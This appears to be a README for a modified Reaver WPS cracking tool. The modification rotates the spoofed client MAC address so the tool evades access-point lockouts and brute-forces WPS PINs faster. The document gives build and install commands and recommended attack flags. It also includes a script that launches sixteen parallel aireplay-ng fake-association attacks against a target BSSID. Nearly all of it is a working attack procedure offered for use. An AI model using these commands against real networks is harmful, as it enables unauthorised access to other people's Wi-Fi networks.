REAVER WPS WITH MAC CHANGER

REAVER WPS modified version with MAC Address last character changer to speed up the attack.

Well, some times the AP will reject the "EAPOL Request" after a success pin try. I made some tests with simultaneous reaver instances running with different MACs (the -m argument), and when one instance gets "WARNING: Receive timeout occurred", the other gets "Received identity request" and continue the cracking.

The problem of this method is: The reaver tool doesn't support simultaneous instances (ok, I read the FAQ about it). If you run two reaver instances, by example, the two instances will try the same pin at the same time.

I made some changes on the reaver source code. Look the output after my changes:

[+] Using MAC BC:99:47:B7:03:E9
[+] Trying pin 00485678

[+] Trying pin 00505673
...

On the first try, reaver is using the client MAC "BC:99:47:B7:03:E9" (it is not a real MAC, I'm just using for the example), on the second, "BC:99:47:B7:03:E8", on the third, "BC:99:47:B7:03:E7". Well, after the use of the MAC "BC:99:47:B7:03:E0", reaver will start again on "BC:99:47:B7:03:E9".

The numbers:

With this method: (13 seconds/pin) Without this method: (31 seconds/pin)

How to install

Extract the tarball

    tar -xzvf reaver-1.4-mac-changer.tar.gz

Install Required Libraries and Tools

    sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev

Build Reaver

    cd reaver-1.4-mac-changer
    cd src
    ./configure
    make

Install Reaver

    sudo make install

How to use

reaver -i mon0 -b AA:BB:CC:DD:EE:FF -M

or

reaver -i mon0 -b AA:BB:CC:DD:EE:FF --mac-changer

What I recommend:

reaver -i mon0 -b AA:BB:CC:DD:EE:FF --mac-changer --no-nacks --win7 --no-associate -vv

To associate more effectively, I recommend to use aireplay-ng tool. Create a "associate.sh" file, and put this inside:

aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZF  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZE  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZD  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZC  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZB  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZA  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z9  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z8  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z7  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z6  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z5  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z4  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z3  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z2  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z1  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z0  &

PS: Change AA:BB:CC:DD:EE:FF to the BSSID and ZZ:ZZ:ZZ:ZZ:ZZ:Z to your MAC (without the last digit).

Before using reaver tool, just type "sh associate.sh". To kill all the aireplay-ng, type "killall aireplay-ng".

If you have success using this method, please, share with us to improve more and more the reaver WPS.
